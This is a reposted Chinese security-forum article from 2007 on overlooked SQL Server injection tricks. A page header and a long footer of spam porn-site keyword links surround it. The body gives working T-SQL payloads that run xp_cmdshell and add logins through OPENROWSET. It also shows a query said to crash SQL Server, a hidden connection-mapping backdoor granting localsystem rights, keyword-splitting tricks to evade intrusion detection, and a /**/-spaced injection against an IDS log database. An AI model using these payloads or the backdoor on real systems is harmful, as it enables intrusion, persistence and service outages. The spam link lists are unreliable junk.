国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

注意那些容易被忽略的SQL注入技巧
2007-01-26   賽迪網(wǎng)安全社區(qū)

下面我要談到一些Sqlserver新的Bug,雖然本人經(jīng)過(guò)長(zhǎng)時(shí)間的努力,當(dāng)然也有點(diǎn)幸運(yùn)的成分在內(nèi),才得以發(fā)現(xiàn),不敢一個(gè)人獨(dú)享,拿出來(lái)請(qǐng)大家鑒別。

1.關(guān)于Openrowset和Opendatasource

可能這個(gè)技巧早有人已經(jīng)會(huì)了,就是利用openrowset發(fā)送本地命令。通常我們的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')

可見(jiàn)(即使從字面意義上看)openrowset只是作為一個(gè)快捷的遠(yuǎn)程數(shù)據(jù)庫(kù)訪問(wèn),它必須跟在select后面,也就是說(shuō)需要返回一個(gè)recordset 。

那么我們能不能利用它調(diào)用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來(lái)屏蔽默認(rèn)的只返回列信息的設(shè)置,這樣xp_cmdshell返回的output集合就會(huì)提交給前面的select顯示,如果采用默認(rèn)設(shè)置,會(huì)返回空集合導(dǎo)致select出錯(cuò),命令也就無(wú)法執(zhí)行了。

那么如果我們要調(diào)用sp_addlogin呢,他不會(huì)像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設(shè)置了,可以如下操作:

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' 
exec master.dbo.sp_addlogin Hectic')
這樣,命令至少會(huì)返回select OK!'的集合,你的機(jī)器商會(huì)顯示OK!,同時(shí)對(duì)方的數(shù)據(jù)庫(kù)內(nèi)也會(huì)增加一個(gè)Hectic的賬號(hào),也就是說(shuō),我們利用select 'OK!'的返回集合欺騙了本地的select請(qǐng)求,是命令能夠正常執(zhí)行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于這個(gè)方法真正的用處,大家慢慢想吧。

2.關(guān)于Msdasql兩次請(qǐng)求的問(wèn)題

不知道大家有沒(méi)有試過(guò)用msdasql連接遠(yuǎn)程數(shù)據(jù)庫(kù),當(dāng)然這個(gè)api必須是sqlserver的管理員才可以調(diào)用,那么如下:

select * from openrowset('msdasql','driver={sql 
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當(dāng)table1和table2的字段數(shù)目不相同時(shí),你會(huì)發(fā)現(xiàn)對(duì)方的sqlserver崩潰了,連本地連接都會(huì)失敗,而系統(tǒng)資源占用一切正常,用pskill殺死 sqlserver進(jìn)程后,如果不重啟機(jī)器,sqlserver要么無(wú)法正常啟動(dòng),要么時(shí)常出現(xiàn)非法操作,我也只是碰巧找到這個(gè)bug的,具體原因我還沒(méi)有摸透,而且很奇怪的是這個(gè)現(xiàn)象只出現(xiàn)在msdasql上,sqloledb就沒(méi)有這個(gè)問(wèn)題,看來(lái)問(wèn)題不是在于請(qǐng)求集合數(shù)目和返回集合數(shù)目不匹配上,應(yīng)該還是msdasql本身的問(wèn)題,具體原因,大家一起慢慢研究吧。

3.可怕的后門(mén)

以前在網(wǎng)上看到有人說(shuō)在 sqlserver上留后門(mén)可以通過(guò)添加triger、jobs或改寫(xiě)sp_addlogin和sp_addsrvrolemember做到,這些方法當(dāng)然可行,但是很容易會(huì)被發(fā)現(xiàn)。不知道大家有沒(méi)有想過(guò)sqloledb的本地連接映射。呵呵,比如你在對(duì)方的sqlserver上用sqlserver的管理員賬號(hào)執(zhí)行如下的命令:

select * from openrowset('sqloledb','trusted_connection=yes;data 
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對(duì)方的 sqlserver上建立了一個(gè)名為Hectic的本地連接映射,只要sqlserver不重啟,這個(gè)映射會(huì)一直存在下去,至少我現(xiàn)在還不知道如何發(fā)現(xiàn)別人放置的連接映射,好了,以上的命令運(yùn)行過(guò)后,你會(huì)發(fā)現(xiàn)哪怕是sqlserver沒(méi)有任何權(quán)限的guest用戶(hù),運(yùn)行以上這條命令也一樣能通過(guò)!而且權(quán)限是 localsystem!(默認(rèn)安裝)呵呵!這個(gè)方法可以用來(lái)在以被入侵過(guò)獲得管理員權(quán)限的sqlserver上留下一個(gè)后門(mén)了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過(guò)!

另外還有一個(gè)猜測(cè),不知道大家有沒(méi)有注意過(guò)windows默認(rèn)附帶的兩個(gè)dsn,一個(gè)是localserver一個(gè)是msqi,這兩個(gè)在建立的時(shí)候是本地管理員賬號(hào)連接sqlserver的,如果對(duì)方的 sqlserver是通過(guò)自定義的power user啟動(dòng),那么sa的權(quán)限就和power user一樣,很難有所大作為,但是我們通過(guò)如下的命令:

select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec 
master..xp_cmdshell ''dir c:\''')

應(yīng)該可以利用localserver的管理員賬號(hào)連接本地sqlserver然后再以這個(gè)賬號(hào)的權(quán)限執(zhí)行本地命令了,這是后我想應(yīng)該能突破sa那個(gè)power user權(quán)限了。現(xiàn)在的問(wèn)題是sqloledb無(wú)法調(diào)用dsn連接,而msdasql非管理員不讓調(diào)用,所以我現(xiàn)在正在尋找guest調(diào)用msdasql 的方法。

如果有人知道這個(gè)bug如何突破,或有新的想法,我們可以一起討論一下,這個(gè)發(fā)放如果能成功被guest利用,將會(huì)是一個(gè)很?chē)?yán)重的安全漏洞。因?yàn)槲覀兦懊嫣岬降娜魏蝧ql語(yǔ)句都可以提交給對(duì)方的asp去幫我們執(zhí)行。

4.利用T-sql騙過(guò)Ids或攻擊Ids

現(xiàn)在的Ids已經(jīng)變得越來(lái)越聰明了。有的ids加入了xp_cmdshell sp_addlogin 的監(jiān)視,但是畢竟人工智能沒(méi)有出現(xiàn)的今天,這種監(jiān)視總是有種騙人的感覺(jué)。

先說(shuō)說(shuō)欺騙Ids

Ids既然監(jiān)視xp_cmdshell關(guān)鍵字,那么我們可以這么做:

declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

這個(gè)代碼相信大家都能看明白,還有xp_cmdshell作為一個(gè)store procedure在master庫(kù)內(nèi)有一個(gè)id號(hào),固定的,我們也可以這么做:

假設(shè)這個(gè)id=988456

declare @a sysname select @a=name from sysobjects where id=988456 
exec @a 'dir c:\'

當(dāng)然也可以:

declare @a sysname select @a=name from sysobjects where id=988455 1 
exec @a 'dir c:\'

這種做法排列組合,ids根本不可能做的到完全監(jiān)視。同理,sp_addlogin也可以這么做。

再說(shuō)說(shuō)攻擊Ids

因?yàn)镮ds數(shù)據(jù)量很大,日至通常備份到常規(guī)數(shù)據(jù)庫(kù),比如sql server。

如果用古老的recordset.addnew做法,會(huì)嚴(yán)重影響ids的性能,因?yàn)橥ㄟ^(guò)ado做t-sql請(qǐng)求,不但效率高,而且有一部分工作可以交給sql server 去做,通常程序會(huì)這么寫(xiě):

insert table values ('日至內(nèi)容',...)

那么我們想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后會(huì)變成:

insert table values ('日至內(nèi)容'....'temp') exec xp_cmdshell 'dir 
c:\' -- ')

這樣,xp_cmdshell就可以在ids的數(shù)據(jù)庫(kù)運(yùn)行了。當(dāng)然ids是一個(gè)嗅嘆器,他會(huì)抓所有的報(bào),而瀏覽器提交的時(shí)候會(huì)把空格變成 。因此, 會(huì)被提交到sql server,這樣你的命令就無(wú)法執(zhí)行了。 唯一的辦法就是:

insert/**/table/**/values('日至內(nèi)容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數(shù)據(jù)庫(kù)內(nèi)執(zhí)行。當(dāng)然也可以用其他語(yǔ)句,可以破壞,備份ids的數(shù)據(jù)庫(kù)到你的共享目錄。

其實(shí)這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/ 。本來(lái)asp是select語(yǔ)句,那么用'就可以屏蔽。現(xiàn)在ids用insert語(yǔ)句,那么用')屏蔽。

好了,其他很多新的入侵語(yǔ)句大家可以自己慢慢想,最好的測(cè)試工具就是query analyzer了。

熱詞搜索:

上一篇:安全技巧之用ZoneAlarm判斷是否中木馬
下一篇:防止ASP木馬在服務(wù)器上運(yùn)行

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
日本在线不卡一区| 国产日韩在线不卡| 亚洲精品一区二区在线观看| 日韩成人免费看| 亚洲精品一区二区三区99 | 99久久精品国产精品久久| 国产亚洲制服色| 欧美日韩午夜在线视频| 毛片不卡一区二区| 日韩理论电影院| 欧美高清视频在线高清观看mv色露露十八| 亚洲午夜免费福利视频| 国产蜜臀97一区二区三区| 欧美日韩免费一区二区三区| 精品一区二区三区欧美| 亚洲香肠在线观看| 国产精品日日摸夜夜摸av| 日韩欧美国产精品一区| 一本久久a久久精品亚洲| 国产成人免费xxxxxxxx| 日韩1区2区日韩1区2区| 一区二区三区波多野结衣在线观看| 久久久www成人免费无遮挡大片| 欧美日韩高清影院| 666欧美在线视频| 欧美视频你懂的| 欧美精品久久天天躁| 欧美日韩高清在线| 日韩免费看的电影| 久久一区二区三区国产精品| 久久久99精品免费观看不卡| 精品国产乱码久久久久久闺蜜 | 精品一区二区三区免费观看| 久久精品久久精品| 94-欧美-setu| 91在线小视频| 欧美色视频在线观看| 欧美一区二区不卡视频| 欧美成人一级视频| 中文字幕制服丝袜一区二区三区| 自拍偷拍亚洲激情| 美女性感视频久久| 粉嫩av亚洲一区二区图片| 成人黄色大片在线观看| 欧美图区在线视频| 久久久久国产精品麻豆| 亚洲国产日韩一级| 精品一区二区av| 欧美图片一区二区三区| 中文字幕第一区综合| 亚洲成av人片在www色猫咪| 国产福利精品一区| 日韩欧美中文一区| 亚洲欧美日韩精品久久久久| 国内精品在线播放| 精品福利一二区| 亚洲一线二线三线久久久| 精品一区二区三区在线观看 | 日韩制服丝袜先锋影音| 国产专区综合网| 这里只有精品电影| 午夜国产精品一区| 91久久精品一区二区二区| 久久精品夜夜夜夜久久| 狠狠色综合日日| 欧美不卡一二三| 国产一区二区三区观看| 久久综合五月天婷婷伊人| 狠狠色狠狠色综合日日91app| 精品电影一区二区三区| 免费观看在线综合色| 日韩欧美色电影| 乱一区二区av| 国产精品区一区二区三| 欧美日韩成人综合在线一区二区| 亚洲国产日韩综合久久精品| 欧美二区在线观看| 国产麻豆精品theporn| 欧美激情一区二区三区不卡| 色国产综合视频| 免费成人小视频| 综合久久久久久| 欧美日韩小视频| 国产ts人妖一区二区| 亚洲成精国产精品女| 精品国精品国产尤物美女| 91免费视频网| 国产麻豆精品95视频| 婷婷六月综合网| 国产精品久久777777| 精品1区2区在线观看| 欧美亚男人的天堂| 色婷婷精品久久二区二区蜜臂av | 国产在线精品一区二区夜色| 亚洲欧美日韩国产一区二区三区| 欧美福利视频导航| 欧美三级电影网| 成人视屏免费看| 国产成人综合精品三级| 婷婷六月综合网| 日韩精品久久理论片| 亚洲成av人片在www色猫咪| 尤物视频一区二区| 一区二区三区加勒比av| 亚洲日本在线天堂| 成人免费一区二区三区在线观看| 久久精品欧美一区二区三区麻豆 | 久久理论电影网| 2021久久国产精品不只是精品| 欧美日韩激情在线| 日韩视频一区二区三区在线播放| 欧美乱妇一区二区三区不卡视频| 欧美性三三影院| 欧美一三区三区四区免费在线看| 欧美日韩亚洲丝袜制服| 日韩精品在线一区二区| 日韩欧美亚洲一区二区| 国产精品丝袜91| 亚洲综合另类小说| 另类小说一区二区三区| 91在线一区二区| 欧美日韩精品高清| 中文字幕中文字幕一区二区| 亚洲日本va午夜在线影院| 日本欧美韩国一区三区| 成人av先锋影音| 91精品免费观看| 亚洲精品视频在线看| 蜜臀av一区二区| 色哟哟一区二区在线观看| 欧美大片日本大片免费观看| 一区二区三区蜜桃| 岛国一区二区三区| 精品国产乱码久久久久久浪潮| 一区二区三区欧美久久| 国产精品一区二区久激情瑜伽 | 在线观看视频一区| 国产欧美精品一区二区色综合 | 成人va在线观看| 久久久av毛片精品| 精品一区二区在线看| 欧美mv日韩mv| 精品一区免费av| 久久久国产综合精品女国产盗摄| 奇米亚洲午夜久久精品| 欧美日韩国产成人在线91| 亚洲福利电影网| 欧美高清精品3d| 日本午夜精品视频在线观看| 欧美一区二区三区在线视频| 日韩黄色免费电影| 久久青草欧美一区二区三区| 国产在线精品一区二区不卡了| 国产偷国产偷亚洲高清人白洁| 久久精品国产亚洲高清剧情介绍| 7777精品伊人久久久大香线蕉 | 亚洲影院在线观看| 91精品欧美福利在线观看| 国产精品一区免费在线观看| 亚洲国产成人一区二区三区| 99久久久久免费精品国产| 亚洲国产aⅴ天堂久久| 国产日产欧美精品一区二区三区| 国产一区二区在线电影| 亚洲欧洲一区二区三区| 在线观看国产日韩| 日韩高清中文字幕一区| 国产色婷婷亚洲99精品小说| 在线视频中文字幕一区二区| 国内欧美视频一区二区| 日韩福利视频导航| 1024国产精品| 国产精品视频在线看| 91精品国产综合久久久久久漫画| 成人精品国产一区二区4080 | 国产精品久久久久永久免费观看| 6080午夜不卡| 日韩一区二区在线观看视频 | 欧美激情在线一区二区| 精品乱码亚洲一区二区不卡| 欧美三级电影网站| 欧美丝袜第三区| 91小视频在线| 欧美日韩你懂得| 日韩欧美久久一区| 欧美大白屁股肥臀xxxxxx| 欧美日韩高清一区二区| 在线91免费看| 日韩精品中文字幕一区| 久久久精品影视| 亚洲婷婷综合色高清在线| 综合久久久久久| 亚洲成人一区在线| 久久精品国产99国产精品| 久久99精品久久久久久国产越南 | 欧美日韩精品久久久| 国产精品电影一区二区三区| 精品99999| 亚洲国产一区二区三区青草影视 | 91精品国产综合久久久久久久 |